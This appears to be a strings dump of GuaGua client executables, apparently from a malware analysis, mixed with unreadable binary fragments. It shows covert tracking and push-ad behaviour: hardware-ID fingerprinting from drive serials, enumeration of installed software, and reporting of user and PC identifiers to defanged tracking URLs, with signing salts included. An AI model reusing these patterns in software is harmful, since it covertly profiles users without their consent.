" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
L).Xo
L).Xo
iBI%U-M0
iBI%U-M0
QJ%X
QJ%X
JD.Da
JD.Da
pM7%uY
pM7%uY
.duhX.K5
.duhX.K5
fWh9"%c
fWh9"%c
f
f
9'.QOo
9'.QOo
.jT-3
.jT-3
Uz=\
Uz=\
jLA%F
jLA%F
.wY@aG
.wY@aG
inÃ
inÃ
.Ka-}
.Ka-}
%s__~
%s__~
iTXtXML:com.adobe.xmp
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> y
" id="W5M0MpCehiHzreSzNTczkc9d"?> y
O .oN
O .oN
H$.UWW
H$.UWW
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
version="1.0.0.0"
version="1.0.0.0"
accKeyboardShortcut
accKeyboardShortcut
2.1.0.0
2.1.0.0
GirlShow.exe
GirlShow.exe
All Files (*.*)
All Files (*.*)
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
No error message is available.'An unsupported operation was attempted.$A required resource was unavailable.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
#Unable to load mail system support.
#Unable to load mail system support.
ServiceClient.exe_704:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
MFC71U.DLL
MFC71U.DLL
_wcmdln
_wcmdln
_amsg_exit
_amsg_exit
MSVCR71.dll
MSVCR71.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
ReportEventW
ReportEventW
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
OLEAUT32.dll
OLEAUT32.dll
MSVCP71.dll
MSVCP71.dll
WTSAPI32.dll
WTSAPI32.dll
USERENV.dll
USERENV.dll
ResideClient.exe
ResideClient.exe
kernel32.dll
kernel32.dll
Wtsapi32.dll
Wtsapi32.dll
1.1.2.1
1.1.2.1
ServiceClient.exe
ServiceClient.exe
ResideClient.exe_652:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
Vh
Vh
=hX%C
=hX%C
|$'.uI
|$'.uI
|$ .uB
|$ .uB
.\CommonInfo.cpp
.\CommonInfo.cpp
%d.%d.%d
%d.%d.%d
{9A7FCFFD-86CE-4293-869B-61ED963C57EC}
{9A7FCFFD-86CE-4293-869B-61ED963C57EC}
ExecApp %s %s [%d]
ExecApp %s %s [%d]
.\DataReptMgr.cpp
.\DataReptMgr.cpp
ReptTipStart %s
ReptTipStart %s
ReptTipDisplay %s
ReptTipDisplay %s
ReptHubbleInstall %s
ReptHubbleInstall %s
ReptTipClick %s
ReptTipClick %s
ReptNotNeedPopUp %s
ReptNotNeedPopUp %s
ReptClickCloseButton %s
ReptClickCloseButton %s
CDataReptMgr::ReptClickCloseButton::strKey:%s
CDataReptMgr::ReptClickCloseButton::strKey:%s
ReptDisplayException %s
ReptDisplayException %s
ReptTipDisplayBefore %s
ReptTipDisplayBefore %s
ReptClientOnlineTime %s
ReptClientOnlineTime %s
ReptHubblePullUpUser %s
ReptHubblePullUpUser %s
ReptOnlineInfo %s
ReptOnlineInfo %s
%s?product_id=%d&uuid=%I64d&start_time=%I64d&start_duration_minute=%d&pcid=%s&ie_version=%s&window_count=%d&operating_system=%s
%s?product_id=%d&uuid=%I64d&start_time=%I64d&start_duration_minute=%d&pcid=%s&ie_version=%s&window_count=%d&operating_system=%s
hXXp://cj.guagua.cn/cjtype/hubble/useraction
hXXp://cj.guagua.cn/cjtype/hubble/useraction
.\GuaGuaRegister.cpp
.\GuaGuaRegister.cpp
.\HtmlCtrl.cpp
.\HtmlCtrl.cpp
CHtmlCtrl::OnAppCmd:notip
CHtmlCtrl::OnAppCmd:notip
CHtmlCtrl::OnAppCmd:body
CHtmlCtrl::OnAppCmd:body
CHtmlCtrl::OnAppCmd:closeself
CHtmlCtrl::OnAppCmd:closeself
roomid1=%I64d,url=%s
roomid1=%I64d,url=%s
download_url
download_url
display_url
display_url
CResideClientApp::ReptUserClickPopUpDlg:productName:%s,Uid=%I64d,RegTime=%I64d
CResideClientApp::ReptUserClickPopUpDlg:productName:%s,Uid=%I64d,RegTime=%I64d
.\ResideClient.cpp
.\ResideClient.cpp
CResideClientApp::ReptUserClickPopUpDlg:ProductID:%d,ProductName:%s,FirstUid:%I64,LastUid:%I64d
CResideClientApp::ReptUserClickPopUpDlg:ProductID:%d,ProductName:%s,FirstUid:%I64,LastUid:%I64d
CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d,NowTime:%I64d
CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d,NowTime:%I64d
CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d
CResideClientApp::StatisticsClientOnLineTime::ProductID:%d,BeginTime:%I64d
%d.%d SP%d.%d
%d.%d SP%d.%d
Error::CResideClientApp::DealIntervalBusiness:iCode:%d
Error::CResideClientApp::DealIntervalBusiness:iCode:%d
ProductId=%d ,infotype=%d,result=%d,pushid=%d
ProductId=%d ,infotype=%d,result=%d,pushid=%d
uninstall %s
uninstall %s
IntervalGetInfoSession Result=%d
IntervalGetInfoSession Result=%d
GerSystemConfig: fail ResultCode:%d
GerSystemConfig: fail ResultCode:%d
:result=%d,msg=%s,MaxDisplayNum=%d,PushType=%d,StartDisplayInterval=%d
:result=%d,msg=%s,MaxDisplayNum=%d,PushType=%d,StartDisplayInterval=%d
m_oCommonInfo.GetCurrentRunProduct:
m_oCommonInfo.GetCurrentRunProduct:
ID:%d
ID:%d
m_oCommonInfo.Load() fail
m_oCommonInfo.Load() fail
&pcid=%s
&pcid=%s
&rec_uid=%I64d&rec_type=%d&ad_id=%d&uuid=%I64d&setup_time=%I64d®_time=%I64d&unstart_minutes=%I64d
&rec_uid=%I64d&rec_type=%d&ad_id=%d&uuid=%I64d&setup_time=%I64d®_time=%I64d&unstart_minutes=%I64d
product_id=%d&oem_id=%d&version=%d
product_id=%d&oem_id=%d&version=%d
.\ServiceSession.cpp
.\ServiceSession.cpp
Response %s
Response %s
post data=%s
post data=%s
¬ip=%d
¬ip=%d
d:d:d:d
d:d:d:d
.\HttpClass.cpp
.\HttpClass.cpp
SendHttpMsg(%s) error: [%d,%d]%s
SendHttpMsg(%s) error: [%d,%d]%s
PostHttpMsg(%s) error: [%d,%d]%s
PostHttpMsg(%s) error: [%d,%d]%s
.\ReptThread.cpp
.\ReptThread.cpp
Rept %s Result [%d, %d]
Rept %s Result [%d, %d]
XX
XX
x-x-x-x-x-x
x-x-x-x-x-x
GetHardID out hardid:%s
GetHardID out hardid:%s
! id:%s
! id:%s
GetHardID full hardid:%s
GetHardID full hardid:%s
GetHardID Sid:%s
GetHardID Sid:%s
GetHardID Pid:%s
GetHardID Pid:%s
GetHardID vid:%s
GetHardID vid:%s
GetHardID result:%d, type:%d outlen:%d
GetHardID result:%d, type:%d outlen:%d
GetHardID::PhysicalDrive%d Success
GetHardID::PhysicalDrive%d Success
.\PcCode.cpp
.\PcCode.cpp
GetHardID::PhysicalDrive%d failed err:%d
GetHardID::PhysicalDrive%d failed err:%d
f:\New_Login\GuaGua\trunk\Client\Service\bin\ResideClient.pdb
f:\New_Login\GuaGua\trunk\Client\Service\bin\ResideClient.pdb
MFC71U.DLL
MFC71U.DLL
_wcmdln
_wcmdln
_amsg_exit
_amsg_exit
MSVCR71.dll
MSVCR71.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegEnumKeyExW
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteExW
ShellExecuteExW
ShellExecuteW
ShellExecuteW
SHELL32.dll
SHELL32.dll
COMCTL32.dll
COMCTL32.dll
SHLWAPI.dll
SHLWAPI.dll
OLEAUT32.dll
OLEAUT32.dll
MSVCP71.dll
MSVCP71.dll
VERSION.dll
VERSION.dll
InternetOpenUrlW
InternetOpenUrlW
InternetCanonicalizeUrlW
InternetCanonicalizeUrlW
HttpQueryInfoW
HttpQueryInfoW
WININET.dll
WININET.dll
NETAPI32.dll
NETAPI32.dll
RegOpenKeyW
RegOpenKeyW
RegCreateKeyW
RegCreateKeyW
ole32.dll
ole32.dll
.PAVCObject@@
.PAVCObject@@
.PAVCException@@
.PAVCException@@
.PAVCINETException@@
.PAVCINETException@@
.PAVCInternetException@@
.PAVCInternetException@@
-8668973499411044082
-8668973499411044082
hXXp://cj.guagua.cn/cjtype/hubble/showproduct?product_id=&uuid=-8668973499411044082
hXXp://cj.guagua.cn/cjtype/hubble/showproduct?product_id=&uuid=-8668973499411044082
82&rec_uid=0&rec_type=0&ad_id=0&fromurl=&webid=&uuid=-8668973499411044082&setuptime=0®time=0
82&rec_uid=0&rec_type=0&ad_id=0&fromurl=&webid=&uuid=-8668973499411044082&setuptime=0®time=0
dekey=afd0267f0c6ae76d673eb803d57db2df
dekey=afd0267f0c6ae76d673eb803d57db2df
%s\ServiceClient.dll
%s\ServiceClient.dll
mshtml.dll
mshtml.dll
SYSTEM\ControlSet001\Services\%s
SYSTEM\ControlSet001\Services\%s
\%s\data\Spread.dat
\%s\data\Spread.dat
%s\GuaGua\data\Spread.dat
%s\GuaGua\data\Spread.dat
\data\service.dat
\data\service.dat
&checkcodekey=
&checkcodekey=
%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
hXXp://cj.guagua.cn/cjtype/hubble/winstart
hXXp://cj.guagua.cn/cjtype/hubble/winstart
hXXp://cj.guagua.cn/cjtype/hubble/windisplay
hXXp://cj.guagua.cn/cjtype/hubble/windisplay
%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
hXXp://cj.guagua.cn/cjtype/hubble/install
hXXp://cj.guagua.cn/cjtype/hubble/install
%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&visitor=%d
%s?push_id=%I64d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&visitor=%d
hXXp://cj.guagua.cn/cjtype/hubble/winclick
hXXp://cj.guagua.cn/cjtype/hubble/winclick
hXXp://cj.guagua.cn/cjtype/hubble/notip
hXXp://cj.guagua.cn/cjtype/hubble/notip
%d%s%d%s%d%I64d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%d%s%d%s%d%I64d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
hXXp://cj.guagua.cn/cjtype/hubble/colse
hXXp://cj.guagua.cn/cjtype/hubble/colse
hXXp://cj.guagua.cn/cjtype/hubble/windisplayexcep
hXXp://cj.guagua.cn/cjtype/hubble/windisplayexcep
hXXp://cj.guagua.cn/cjtype/hubble/windisplaybefore
hXXp://cj.guagua.cn/cjtype/hubble/windisplaybefore
%s?product_id=%s&uuid=%I64d
%s?product_id=%s&uuid=%I64d
hXXp://cj.guagua.cn/cjtype/hubble/showproduct
hXXp://cj.guagua.cn/cjtype/hubble/showproduct
%d%s%d%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%d%s%d%d%s%d%d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%s?onlinetime=%d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
%s?onlinetime=%d&product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d
hXXp://cj.guagua.cn/cjtype/hubble/clientonlinetime
hXXp://cj.guagua.cn/cjtype/hubble/clientonlinetime
%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%d%s%d%s%d%d%I64d%I64d%I64d%I64d%I64d%I64d%sguaguahubble2013
%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&userid=%I64d
%s?product_id=%d&oem_id=%d&version=%I64d&pcid=%s&rec_uid=%I64d&rec_type=%d&ad_id=%d&fromurl=%s&webid=%s&uuid=%I64d&setuptime=%I64d®time=%I64d&userid=%I64d
hXXp://cj.guagua.cn/cjtype/hubble/register
hXXp://cj.guagua.cn/cjtype/hubble/register
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
%sroom:%I64d:1
%sroom:%I64d:1
ServiceClient.exe
ServiceClient.exe
AhXXp://hubble.guagua.cn/api/globalConf.api
AhXXp://hubble.guagua.cn/api/globalConf.api
hXXp://hubble.guagua.cn/api/pushConf.api
hXXp://hubble.guagua.cn/api/pushConf.api
%s?pname=%s&type=%d
%s?pname=%s&type=%d
hXXp://cj.17guagua.com/promotion/thirdparty
hXXp://cj.17guagua.com/promotion/thirdparty
User-Agent: %s
User-Agent: %s
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
%s\%s%s%d
%s\%s%s%d
8\\.\Smartvsd
8\\.\Smartvsd
ntdll.dll
ntdll.dll
wcods.dat
wcods.dat
C%WinDir%\msgpi.log
C%WinDir%\msgpi.log
$Recycle.Bin\$hf_mig$\
$Recycle.Bin\$hf_mig$\
update.dat
update.dat
%WinDir%\gsyspd.log
%WinDir%\gsyspd.log
SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck
SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck
%s\%s%s
%s\%s%s
ms0.dat
ms0.dat
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak
%s\%s
%s\%s
35bdeb9d7832d63f171f5ebe290e?
35bdeb9d7832d63f171f5ebe290e?
1.2.4.1
1.2.4.1
ResideClient.exe
ResideClient.exe